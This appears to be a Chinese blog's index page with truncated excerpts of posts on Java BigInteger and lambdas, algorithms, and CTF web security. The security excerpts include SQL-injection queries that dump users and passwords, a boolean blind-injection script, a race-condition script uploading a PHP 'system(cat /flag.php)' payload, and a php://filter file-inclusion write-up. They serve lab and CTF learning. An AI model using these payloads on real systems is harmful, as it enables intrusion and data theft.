大数类
一、BigInteger类1.1、进制转换12345678/* * 将指定基数中BigInteger的String表示形式转换为BigInteger */BigInteger biginteger = new BigInteger(String val, int radix);/* * 返回给定基数中此BigInteger的String表示形式。 */biginteger.toString(int radix);
1.2、加减乘除123456789BigInteger biginteger = new BigInteger(String val);// 加biginteger = biginteger.add(new BigInteger(String val));// 减biginteger = biginteger.substract(new BigInteger(String val));// 乘biginteger = biginteger.multiply(new BigInteger(String val));// 除biginteger = biginteger.div ...
Java lambda表达式
条件1、匿名函数
2、有一个需要实现的方法
格式(参数列表)→ {代码}
示例有一个学生类,需要根据学号排序
方法一(正常写法)
1234567891011new Comparator<Student> () { public int compare(Student o1, Student o2) { return o1.id - o2.id; }}Collections.sort(student, new Comparator<Student> () { public int compare(Student o1, Student o2) { return o1.id - o2.id; }});
方法二(lambda表达式简化)
1234567(Student o1, Student o2) { return o1.id - o2.id;}Collections.sort(student, (Student o1, Student ...
sqli-labs wp
sqli-labs wp四个主要操作
查库
information_schema.schemata:存储所有数据库的名称
1 select schema_name from information_schema.schemata;
查表
information_schema.tables:存储所有表的名称
1 select table_name from information_schema.tables where table_schema='security';
查列
information_schema.columns:存储所有字段名
1 select column_name from information_schema.columns where table_name='users';
查字段
1 select username,password from security.users;
常用命令1234567 system_user(); -- 管理员用户 user(); -- 用户 curre ...
SQL注入脚本代码
布尔盲注脚本12345678910111213141516171819202122232425262728293031323334353637383940import requestsimport timeurl = "http://challenge-ad4eb3975c519843.sandbox.ctfhub.com:10800?"temp = {"id": ""}column = ""for i in range(1, 1000): time.sleep(0.06) low = 32 high = 128 mid = (low + high) // 2 while low < high: # 库名 temp[ "id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_sch ...
如何写Python注入脚本(Requests)
参考资料Python爬虫小白入门(二)requests库 - 阿里波特 - 博客园 (cnblogs.com)
官方文档中文版:
Requests: 让 HTTP 服务人类 — Requests 2.18.1 文档 (python-requests.org)
基础知识在发送请求后,返回的是一个Response 对象,我们可以获取以下的各种信息,
url参数
响应内容
二进制响应内容
JSON响应内容
响应头
示例:
1234567891011121314151617181920212223242526272829303132333435363738394041424344payload = {'key1': 'value1', 'key2': 'value2'}r = requests.get("http://httpbin.org/get", params=payload)print(r.url)# 传递的url参数#http://httpbin.org/ ...
多线程条件竞争脚本
1234567891011121314151617181920212223242526272829import io # io库import requests # requests库import threading # 多线程库url = 'http://121.43.55.52:10078/'def write(session): # 首先是上传文件的write函数 data = { # data是session文件的内容,需要写在PHP_SESSION_UPLOAD_...中 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag.php");?>dotast' } # 构造数据,有个特殊字符dotast,这个用来判断响应包是否是我们想要的 while True: # 循环着,进行条件竞争 f = io.BytesIO(b'a' * 10 ...
文件包含
【Web Level1】张Sir_include_丁真题目分析这道题可以选择多个不同的丁真图片进行显示,题目中提示可以看地址的变化
题解在切换图片时,可以发现这部分在不断变化
http://121.43.55.52:10086/?file=include%2F file2 .php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 当改为file6时出现了提示
此时我们把地址栏的 file6.php 改为 flag.php
查看页面代码得到提示
!–Hint:https://blackdn.github.io/2020/04/04/CTF-File-Inclusion-2020--
一个很有用的网址,这里存一下
https://blackdn.github.io/2020/04/04/CTF-File-Inclusion-2020/
打开后进入一个网站,本题我们需要的部分是php://fileter/
php://filter/是一种访问本地文件的协议 当它与 ...
二分法
三种写法
闭区间 [left, right
左闭右开区间 [left, right)
开区间 (left, right)
34. 在排序数组中查找元素的第一个和最后一个位置给你一个按照非递减顺序排列的整数数组 nums,和一个目标值 target。请你找出给定目标值在数组中的开始位置和结束位置。
如果数组中不存在目标值 target,返回 [-1, -1]。
你必须设计并实现时间复杂度为 O(log n) 的算法解决此问题。
示例 1:
12输入:nums = [5,7,7,8,8,10], target = 8输出:[3,4]
示例 2:
12输入:nums = [5,7,7,8,8,10], target = 6输出:[-1,-1]
示例 3:
12输入:nums = [], target = 0输出:[-1,-1]
提示:
0 <= nums.length <= 105
109 <= nums[i] <= 109
nums 是一个非递减数组
109 <= target <= 109
1234567891011121314151 ...
二叉树
递归
将原问题分解为子问题,递
寻找边界条件,归
二叉树104. 二叉树的最大深度给定一个二叉树,找出其最大深度。
二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。
说明: 叶子节点是指没有子节点的节点。
示例:给定二叉树 [3,9,20,null,null,15,7],
12345 3 / \9 20 / \ 15 7
返回它的最大深度 3 。
第一种做法,深度 = (左子树最大深度,右子树最大深度) + 1
1234567891011121314151617181920212223/** * Definition for a binary tree node. * public class TreeNode { * int val; * TreeNode left; * TreeNode right; * TreeNode() {} * TreeNode(int val) { this.val = val; } * TreeNode(int v ...
动态规划
首先,虽然动态规划的核心思想就是穷举求最值,但是问题可以千变万化,穷举所有可行解其实并不是一件容易的事,需要你熟练掌握递归思维,只有列出正确的「状态转移方程」,才能正确地穷举。而且,你需要判断算法问题是否具备「最优子结构」,是否能够通过子问题的最值得到原问题的最值。另外,动态规划问题存在「重叠子问题」,如果暴力穷举的话效率会很低,所以需要你使用「备忘录」或者「DP table」来优化穷举过程,避免不必要的计算。
以上提到的重叠子问题、最优子结构、状态转移方程就是动态规划三要素。具体什么意思等会会举例详解,但是在实际的算法问题中,写出状态转移方程是最困难的,这也就是为什么很多朋友觉得动态规划问题困难的原因,我来提供我总结的一个思维框架,辅助你思考状态转移方程:
明确 base case -> 明确「状态」-> 明确「选择」 -> 定义 dp 数组/函数的含义。
123456789101112131415# 自顶向下递归的动态规划def dp(状态1, 状态2, ...): for 选择 in 所有可能的选择: # 此时的状态已经因为做了选择 ...